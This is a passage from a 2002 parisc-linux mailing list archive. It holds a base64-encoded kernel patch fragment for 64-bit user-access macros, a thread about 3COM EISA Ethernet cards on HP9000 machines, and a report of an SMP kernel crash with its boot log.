ICAgdW5zaWduZWQgbG9uZyBsb25nIFU2NDsgICAgICAgICAgICAgICBcCisgICAgICAgIHN0cnVj
dCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXAorICAgICAgICB7ICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIFwKKyAgICAgICAgICAgIHVuc2lnbmVkIGludCB4aDsg
ICAgICAgICAgICAgICAgICBcCisgICAgICAgICAgICB1bnNpZ25lZCBpbnQgeGw7ICAgICAgICAg
ICAgICAgICAgXAorICAgICAgICB9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
IFwKKwlVNjRYaFhsOyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwKKyAgICB9VWxsaTsg
LyogVW5pb24gbG9uZyBsb25nIGludCAqLyAgICAgICAgICBcCisgICAgVWxsaS5VNjQ9KHVuc2ln
bmVkIGxvbmcgbG9uZykgeDsgICAgICAgICAgXAorICAgIF9fcHV0X2tlcm5lbF9hc21fNjQoVWxs
aS5VNjRYaFhsLnhoLCBVbGxpLlU2NFhoWGwueGwsIHB0cik7ICAgICAgICAgICBcCit9KQorCisj
ZGVmaW5lIFNURF9VU0VSKHgsIHB0cikgICAgICAgICAgICAgICAgICAgICAgXAorKHsgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwKKyAgICB1bmlvbiAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcCisgICAgeyAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgXAorICAgICAgICB1bnNpZ25lZCBsb25nIGxvbmcgVTY0OyAg
ICAgICAgICAgICAgIFwKKyAgICAgICAgc3RydWN0ICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICBcCisgICAgICAgIHsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXAor
ICAgICAgICAgICAgdW5zaWduZWQgaW50IHhoOyAgICAgICAgICAgICAgICAgIFwKKyAgICAgICAg
ICAgIHVuc2lnbmVkIGludCB4bDsgICAgICAgICAgICAgICAgICBcCisgICAgICAgIH0gICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXAorCVU2NFhoWGw7ICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgXAorICAgIH1VbGxpOyAvKiBVbmlvbiBsb25nIGxvbmcgaW50ICovICAg
ICAgICAgIFwKKyAgICBVbGxpLlU2ND0odW5zaWduZWQgbG9uZyBsb25nKSB4OyAgICAgICAgICBc
CisgICAgX19wdXRfdXNlcl9hc21fNjQoVWxsaS5VNjRYaFhsLnhoLCBVbGxpLlU2NFhoWGwueGws
IHB0cik7ICAgICAgICAgICBcCit9KQorCiAjZWxzZQogI2RlZmluZSBMRERfS0VSTkVMKHB0cikg
X19nZXRfa2VybmVsX2FzbSgibGRkIixwdHIpCiAjZGVmaW5lIExERF9VU0VSKHB0cikgX19nZXRf
dXNlcl9hc20oImxkZCIscHRyKQpAQCAtMjAwLDYgKzIzMSwyMCBAQAogCQk6ICI9ciIoX19wdV9l
cnIpICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwKIAkJOiAiciIocHRyKSwgInIiKHgpLCAi
MCIoX19wdV9lcnIpKQogCisjZGVmaW5lIF9fcHV0X2tlcm5lbF9hc21fNjQoeGgsIHhsLCBwdHIp
ICAgICAgICAgICAgICAgICAgICBcCisgICAgICAgIF9fYXNtX18gX192b2xhdGlsZV9fICggICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICBcCisgICAgICAgICAgICAgICAgIlxuMTpcdHN0d1x0
JTIsMCglMSlcbiIgICAgICAgICAgICAgICAgICAgICBcCisgICAgICAgICAgICAgICAgIjI6XHRz
dHdcdCUzLDQoJTEpXG4iICAgICAgICAgICAgICAgICAgICAgICBcCisgICAgICAgICAgICAgICAg
IjM6XG4iICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcCisgICAgICAgICAg
ICAgICAgIlx0LnNlY3Rpb24gX19leF90YWJsZSxcImFcIlxuIiAgICAgICAgICAgICBcCisgICAg
ICAgICAgICAgICAgICJcdC53b3JkXHQxYlxuIiAgICAgICAgICAgICAgICAgICAgICAgICAgICBc
CisgICAgICAgICAgICAgICAgICJcdC53b3JkXHQoM2ItMWIpKzFcbiIgICAgICAgICAgICAgICAg
ICAgICBcCisgICAgICAgICAgICAgICAgICJcdC53b3JkXHQyYlxuIiAgICAgICAgICAgICAgICAg
ICAgICAgICAgICBcCisgICAgICAgICAgICAgICAgICJcdC53b3JkXHQoM2ItMmIpKzFcbiIgICAg
ICAgICAgICAgICAgICAgICBcCisgICAgICAgICAgICAgICAgICJcdC5wcmV2aW91cyIgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICBcCisgICAgICAgICAgICAgICAgOiAiPXIiKF9fcHVfZXJy
KSAgICAgICAgICAgICAgICAgICAgICAgICAgICBcCisgICAgICAgICAgICAgICAgOiAiciIocHRy
KSwgInIiKHhoKSwgInIiKHhsKSwgIjAiKF9fcHVfZXJyKSkKKwogI2RlZmluZSBfX3B1dF91c2Vy
X2FzbShzdHgseCxwdHIpICAgICAgICAgICAgICAgICAgICAgICAgICAgXAogCV9fYXNtX18gX192
b2xhdGlsZV9fICggICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcCiAJCSJcbjE6XHQiIHN0
eCAiXHQlMiwwKCUlc3IzLCUxKVxuIiAgICAgICAgICAgXApAQCAtMjEwLDYgKzI1NSwyMSBAQAog
CQkgIlx0LnByZXZpb3VzIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwKIAkJOiAiPXIi
KF9fcHVfZXJyKSAgICAgICAgICAgICAgICAgICAgICAgICAgICBcCiAJCTogInIiKHB0
ciksICJyIih4KSwgIjAiKF9fcHVfZXJyKSkKKworI2RlZmluZSBfX3B1dF91c2VyX2FzbV82NCh4
aCwgeGwsIHB0cikgICAgICAgICAgICAgICAgICAgICAgXAorICAgICAgICBfX2FzbV9fIF9fdm9s
YXRpbGVfXyAoICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXAorICAgICAgICAgICAgICAg
ICJcbjE6XHRzdHdcdCUyLDAoJSVzcjMsJTEpXG4iICAgICAgICAgICAgICAgXAorICAgICAgICAg
ICAgICAgICIyOlx0c3R3XHQlMyw0KCUlc3IzLCUxKVxuIiAgICAgICAgICAgICAgICAgXAorICAg
ICAgICAgICAgICAgICIzOlxuIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
XAorICAgICAgICAgICAgICAgICJcdC5zZWN0aW9uIF9fZXhfdGFibGUsXCJhXCJcbiIgICAgICAg
ICAgICAgXAorICAgICAgICAgICAgICAgICAiXHQud29yZFx0MWJcbiIgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgXAorICAgICAgICAgICAgICAgICAiXHQud29yZFx0KDNiLTFiKSsxXG4iICAg
ICAgICAgICAgICAgICAgICAgXAorICAgICAgICAgICAgICAgICAiXHQud29yZFx0MmJcbiIgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgXAorICAgICAgICAgICAgICAgICAiXHQud29yZFx0KDNi
LTJiKSsxXG4iICAgICAgICAgICAgICAgICAgICAgXAorICAgICAgICAgICAgICAgICAiXHQucHJl
dmlvdXMiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXAorICAgICAgICAgICAgICAgIDog
Ij1yIihfX3B1X2VycikgICAgICAgICAgICAgICAgICAgICAgICAgICAgXAorICAgICAgICAgICAg
ICAgIDogInIiKHB0ciksICJyIih4aCksICJyIih4bCksICIwIihfX3B1X2VycikpCisKICNlbmRp
ZgogCiAK

--=========3D8F01140000102A/mail.tiscali.be--


From - Thu Nov 08 21:24:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] EISA 100 Base-T Ethernet card drivers / 3COM
Date: Thu, 26 Sep 2002 20:12:38 +0100
Lines: 11
Approved: news@gmane.org
Message-ID: <20020926201238.G28188@parcelfarce.linux.theplanet.co.uk>
References: <49AA3A3C863E5B4C911320AEF99E5DA3010CCCE0@wing-ep.tip.csiro.au> <20020926031956.A5179@parcelfarce.linux.theplanet.co.uk> <3D935BCC.4060002@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621773 14794 80.91.229.3 (22 Nov 2014 02:02:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:53 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, parisc-linux@parisc-linux.org
To: Sven Cronbenberg <sven.cronenberg@gmx.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 26 13:12:45 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9693A4829
	for <parisc-linux@parisc-linux.org>; Thu, 26 Sep 2002 13:12:45 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17ue3y-0003wz-00; Thu, 26 Sep 2002 20:12:38 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <3D935BCC.4060002@gmx.de>; from sven.cronenberg@gmx.de on Thu, Sep 26, 2002 at 09:11:08PM +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16305

On Thu, Sep 26, 2002 at 09:11:08PM +0200, Sven Cronbenberg wrote:
> I have two HP9000 maschines (735b and 720) standing
> around here with 3COM 100mbit eThernetcards. Have
> any people out there suceeded using those
> ethernetcards und LINUX in the HP9000/7??s?

i don't know.  it's worth trying them.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:24:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arto Jantunen <viiru@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] SMP crash with 64-bit kernel and 32-bit PDC
Date: Fri, 27 Sep 2002 09:18:18 +0300
Lines: 151
Approved: news@gmane.org
Message-ID: <20020927061818.GA16225@www1.dt-link.fi>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="G4iJoqBmSsgzjUCe"
X-Trace: ger.gmane.org 1416621773 14797 80.91.229.3 (22 Nov 2014 02:02:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:53 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 27 00:17:17 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail1 (unknown [217.116.164.102])
	by dsl2.external.hp.com (Postfix) with ESMTP id 930014829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 27 Sep 2002 00:17:16 -0600 (MDT)
Original-Received: from www1 (www.conexus.fi [217.116.164.99])
	by mail1 (Postfix) with ESMTP id 3FADE7FBC
	for <parisc-linux@lists.parisc-linux.org>; Fri, 27 Sep 2002 09:16:06 +0300 (EEST)
Original-Received: by www1 (Postfix, from userid 0)
	id DE5B44F1; Fri, 27 Sep 2002 09:18:18 +0300 (EEST)
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16306

--G4iJoqBmSsgzjUCe
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

The kernel was built with additional PDC debuging and the options listed
in the subject. If someone needs the .config for something, I can send
it, too. Attached is the log of what happens. If anyone could use any
additional info, I can get it and mail it.

--
Arto Jantunen

--G4iJoqBmSsgzjUCe
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="minicom.cap"




Firmware Version  38.39

Duplex Console IO Dependent Code (IODC) revision 0

------------------------------------------------------------------------------
   (c) Copyright 1995-1998, Hewlett-Packard Company, All rights reserved
------------------------------------------------------------------------------

  Processor   Speed            State           Coprocessor State  Cache Size
  ---------  --------   ---------------------  -----------------  ----------
      0       240 MHz   Active                 Functional            2 MB
      1       240 MHz   Idle                   Functional            2 MB

  Central Bus Speed (in MHz)  :        120 

  Model: R390/2

  Available memory (bytes)    : 1073733632 
  Good memory required (bytes):   86876160 

  Primary boot path:    8/4.1   (dec)   
  Alternate boot path:  8/4.6   (dec)   
  Console path:         8/16/4.0   (dec)   
  Keyboard path:        8/16/7.0   (dec)   

CPU 0
WARNING:  Memory has been initialized, but not tested as a result of
          FASTBOOT being enabled.  To test memory, use the FASTBOOT
          command in the CONFIGURATION menu and reboot the system.


Processor is starting autoboot process.

To discontinue, press any key within 10 seconds.

10 seconds expired.
Proceeding...

Trying Primary Boot Path
------------------------

Booting... 
Boot IO Dependent Code (IODC) revision 152


HARD Booted.
palo ipl 1.0 root@palinux Mon Apr  1 10:02:53 MST 2002

Partition Start(MB) End(MB) Id Type
1               1      16   f0 Palo
2              49    1002   82 swap
3            1003    4094   83 ext2
4              17      48   83 ext2

PALO(F0) partition contains:
    0/vmlinux32 3687647 bytes @ 0x48000

Information: No console specified on kernel command line. This is normal.
PALO will choose the console currently used by firmware (serial).
Command line for kernel: 'root=/dev/sda3 HOME=/ console=ttyS0 TERM=vt102 palo_kernel=4/vmlinux'
Selected kernel: /vmlinux from partition 4
ELF64 executable
Entry 00100000 first 00100000 n 3
Segment 0 load 00100000 size 2412040 mediaptr 0x1000
Segment 1 load 0034e000 size 1520640 mediaptr 0x24e000
Segment 2 load 004c4000 size 49152 mediaptr 0x3c2000
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

Linux version 2.4.19-pa20 (root@elli) (gcc version 3.0) #4 SMP Thu Sep 26 17:04:45 EEST 2002
FP[0] enabled: Rev 0 Model 14
The 64-bit Kernel has started...
Initialized PDC Console for debugging.
Kernel is using PDC in 32-bit mode.
Determining PDC firmware type: System Map.
model 00005ba0 00000491 00000000 00000002 7777173a 100000f0 00000008 000000b2 000000b2
vers  00000501
CPUID vers 14 rev 23 (0x000001d7)
capabilities 0x3
model 9000/800/R390
Total Memory: 1024 Mb
pagetable_init
On node 0 totalpages: 262144
zone(0): 262144 pages.
zone(1): 0 pages.
zone(2): 0 pages.
Kernel command line: root=/dev/sda3 HOME=/ console=ttyS0 TERM=vt102 palo_kernel=4/vmlinux
Console: colour dummy device 160x64
Initialized PDC Console for debugging.
Calibrating delay loop... 478.41 BogoMIPS
Memory: 1019632k available
Dentry cache hash table entries: 131072 (order: 9, 2097152 bytes)
Inode cache hash table entries: 65536 (order: 8, 1048576 bytes)
Mount-cache hash table entries: 16384 (order: 6, 262144 bytes)
Buffer-cache hash table entries: 65536 (order: 7, 524288 bytes)
Page-cache hash table entries: 262144 (order: 9, 2097152 bytes)
Searching for devices...
Found devices:
1. U2-IOA BC Runway Port (12) at 0xfffffffffff88000 [8], versions 0x580, 0xf, 0xb
2. Bluefish Add-on FW-SCSI (4) at 0xfffffffff1004000 [8/4], versions 0x13, 0x1, 0x89
3. HP HSC-PCI Cards (4) at 0xfffffffff1008000 [8/8], versions 0x4, 0x0, 0x9d
4. UL 550 Lasi Core BA (11) at 0xffffffffffd00000 [8/16], versions 0x2f, 0x0, 0x81,  additional addresses: 0xffffffffffd0c000 0xffffffffffc00000 
5. UL 550 Core Centronics (10) at 0xffffffffffd02000 [8/16/0], versions 0x2f, 0x0, 0x74,  additional addresses: 0xffffffffffd01000 0xffffffffffd03000 
6. UL 550 Lasi Core RS-232 (10) at 0xffffffffffd05000 [8/16/4], versions 0x2f, 0x0, 0x8c
7. UL 550 Core SCSI (10) at 0xffffffffffd06000 [8/16/5], versions 0x2f, 0x0, 0x82
8. UL 350 Core LAN (802.3) (10) at 0xffffffffffd07000 [8/16/6], versions 0x2f, 0x0, 0x8a
9. UL 550 Core PS/2 Port (10) at 0xffffffffffd08000 [8/16/7], versions 0x2f, 0x0, 0x84
10. UL 550 Core PS/2 Port (10) at 0xffffffffffd08100 [8/16/8], versions 0x2f, 0x0, 0x84
11. UL 550 Core Wax BA (11) at 0xffffffffffe00000 [8/20], versions 0x31, 0x0, 0x8e
12. UL 550 Wax Core RS-232 (10) at 0xffffffffffe02000 [8/20/2], versions 0x31, 0x0, 0x8c
13. UL 550 Wax EISA BA (11) at 0xfffffffffc000000 [8/20/5], versions 0x31, 0x0, 0x90,  additional addresses: 0xffffffffffc88000 
14. U2-IOA BC GSC+ Port (7) at 0xfffffffff103f000 [8/63], versions 0x501, 0x1, 0xc
15. U2-IOA BC Runway Port (12) at 0xfffffffffff8a000 [10], versions 0x580, 0xf, 0xb
16. Bluefish Add-on FW-SCSI (4) at 0xfffffffff180c000 [10/12], versions 0x13, 0x1, 0x89
17. U2-IOA BC GSC+ Port (7) at 0xfffffffff183f000 [10/63], versions 0x501, 0x1, 0xc
18. UL 2w U+/240 (350/550) (0) at 0xfffffffffffa0000 [32], versions 0x5ba, 0x0, 0x4
19. UL 2w U+/240 (350/550) (0) at 0xfffffffffffa2000 [34], versions 0x5ba, 0x0, 0x4
20. Memory (1) at 0xfffffffffffb1000 [49], versions 0x7e, 0x0, 0x9
CPU(s): 2 x PA8200 (PCX-U+) at 240.000000 MHz
Found U2 at 0xfffffffffff88000
Found U2 at 0xfffffffffff8a000
ccio-dma.c: failed to claim CCIO bus address space (ffffffff00000000,ffffffffffffffff)
Lasi version 0 at 0xffffffffffd00000 found.
LED display at ffffffffffd0c000 registered
Wax at 0xffffffffffe00000 found.
Wax EISA Adapter found at 0xfffffffffc000000
EISA EEPROM at 0xffffffffffc88000
Enumerating EISA bus

--G4iJoqBmSsgzjUCe--


From - Thu Nov 08 21:24:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Harri Haataja <harri.haataja@cs.helsinki.fi>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] EISA 100 Base-T Ethernet card drivers / 3COM
Date: Fri, 27 Sep 2002 11:42:27 +0300
Lines: 16
Approved: news@gmane.org
Message-ID: <20020927114226.A1112@azrael.smilehouse.com>
References: <49AA3A3C863E5B4C911320AEF99E5DA3010CCCE0@wing-ep.tip.csiro.au> <20020926031956.A5179@parcelfarce.linux.theplanet.co.uk> <3D935BCC.4060002@gmx.de> <20020926201238.G28188@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621773 14804 80.91.229.3 (22 Nov 2014 02:02:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:53 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 27 02:42:35 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from fep07-app.kolumbus.fi (fep07-0.kolumbus.fi [193.229.0.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id D1FC04829
	for <parisc-linux@parisc-linux.org>; Fri, 27 Sep 2002 02:42:34 -0600 (MDT)
Original-Received: from azrael.blades.cxm ([62.248.232.158])
          by fep07-app.kolumbus.fi with ESMTP
          id <20020927084228.MJLT14491.fep07-app.kolumbus.fi@azrael.blades.cxm>
          for <parisc-linux@parisc-linux.org>;
          Fri, 27 Sep 2002 11:42:28 +0300
Original-Received: (from blades@localhost)
	by azrael.blades.cxm (SGI-8.9.3/8.9.3) id LAA01251
	for parisc-linux@parisc-linux.org; Fri, 27 Sep 2002 11:42:28 +0300 (EEST)
X-Authentication-Warning: azrael.blades.cxm: blades set sender to harri.haataja@cs.helsinki.fi using -f
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020926201238.G28188@parcelfarce.linux.theplanet.co.uk>; from willy@debian.org on Thu, Sep 26, 2002 at 08:12:38PM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16307

On Thu, Sep 26, 2002 at 08:12:38PM +0100, Matthew Wilcox wrote:
> On Thu, Sep 26, 2002 at 09:11:08PM +0200, Sven Cronbenberg wrote:
> > I have two HP9000 maschines (735b and 720) standing
> > around here with 3COM 100mbit eThernetcards. Have
> > any people out there suceeded using those
> > ethernetcards und LINUX in the HP9000/7??s?
> i don't know.  it's worth trying them.

Wouldn't it be worth it putting together a small list (or even an active
web page) of working devices of any kind on HP-PA hardware?
Or maybe just limited to (E)ISA and pci cards or such?

-- 
   http://www.math.fu-berlin.de/~guckes/sig/



From - Thu Nov 08 21:24:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?Q?=22Beerse=2C_Corn=E9=22?= <c.beerse@torex-hiscom.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] EISA 100 Base-T Ethernet card drivers / 3COM
Date: Fri, 27 Sep 2002 13:38:41 +0200
Lines: 101
Approved: news@gmane.org
Message-ID: <02Sep27.135037cest.119058@ns.hiscom.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C2661A.6DF0DDC0"
X-Trace: ger.gmane.org 1416621774 14808 80.91.229.3 (22 Nov 2014 02:02:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:54 +0000 (UTC)
Cc: "'parisc-linux maillist'" <parisc-linux@parisc-linux.org>
To: "'Harri Haataja'" <harri.haataja@cs.helsinki.fi>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 27 05:39:02 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiscom.nl (unknown [130.78.143.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id BD6674829
	for <parisc-linux@parisc-linux.org>; Fri, 27 Sep 2002 05:39:01 -0600 (MDT)
Original-Received: by ns.hiscom.nl id <119058>; Fri, 27 Sep 2002 13:50:37 +0200
X-Mailer: Internet Mail Service (5.5.2656.59)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16308

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C2661A.6DF0DDC0
Content-Type: text/plain;
	charset="iso-8859-1"

> -----Original Message-----
> From: Harri Haataja [mailto:harri.haataja@cs.helsinki.fi]
> 
> On Thu, Sep 26, 2002 at 08:12:38PM +0100, Matthew Wilcox wrote:
> > On Thu, Sep 26, 2002 at 09:11:08PM +0200, Sven Cronbenberg wrote:
> > > I have two HP9000 maschines (735b and 720) standing
> > > around here with 3COM 100mbit eThernetcards. Have
> > > any people out there suceeded using those
> > > ethernetcards und LINUX in the HP9000/7??s?
> > i don't know.  it's worth trying them.
> 
> Wouldn't it be worth it putting together a small list (or 
> even an active
> web page) of working devices of any kind on HP-PA hardware?
> Or maybe just limited to (E)ISA and pci cards or such?

Best place would be the already available hardware database...
Is there already a hook to that?

Or on the other hand, does HP have such a list for devices in hp-ux? I guess
that devices that work on i386 architectures in linux and on pa-risc
architectures in HP-UX (hence hardware does not bite and driver sources are
available) should be usable.


CBee



------_=_NextPart_001_01C2661A.6DF0DDC0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2654.45">
<TITLE>RE: [parisc-linux] EISA 100 Base-T Ethernet card drivers / =
3COM</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>&gt; -----Original Message-----</FONT>
<BR><FONT SIZE=3D2>&gt; From: Harri Haataja [<A =
HREF=3D"mailto:harri.haataja@cs.helsinki.fi">mailto:harri.haataja@cs.hel=
sinki.fi</A>]</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; On Thu, Sep 26, 2002 at 08:12:38PM +0100, =
Matthew Wilcox wrote:</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; On Thu, Sep 26, 2002 at 09:11:08PM +0200, =
Sven Cronbenberg wrote:</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; I have two HP9000 maschines (735b and =
720) standing</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; around here with 3COM 100mbit =
eThernetcards. Have</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; any people out there suceeded using =
those</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; ethernetcards und LINUX in the =
HP9000/7??s?</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; i don't know.&nbsp; it's worth trying =
them.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Wouldn't it be worth it putting together a =
small list (or </FONT>
<BR><FONT SIZE=3D2>&gt; even an active</FONT>
<BR><FONT SIZE=3D2>&gt; web page) of working devices of any kind on =
HP-PA hardware?</FONT>
<BR><FONT SIZE=3D2>&gt; Or maybe just limited to (E)ISA and pci cards =
or such?</FONT>
</P>

<P><FONT SIZE=3D2>Best place would be the already available hardware =
database...</FONT>
<BR><FONT SIZE=3D2>Is there already a hook to that?</FONT>
</P>

<P><FONT SIZE=3D2>Or on the other hand, does HP have such a list for =
devices in hp-ux? I guess that devices that work on i386 architectures =
in linux and on pa-risc architectures in HP-UX (hence hardware does not =
bite and driver sources are available) should be usable.</FONT></P>
<BR>

<P><FONT SIZE=3D2>CBee</FONT>
</P>
<BR>

</BODY>
</HTML>
------_=_NextPart_001_01C2661A.6DF0DDC0--


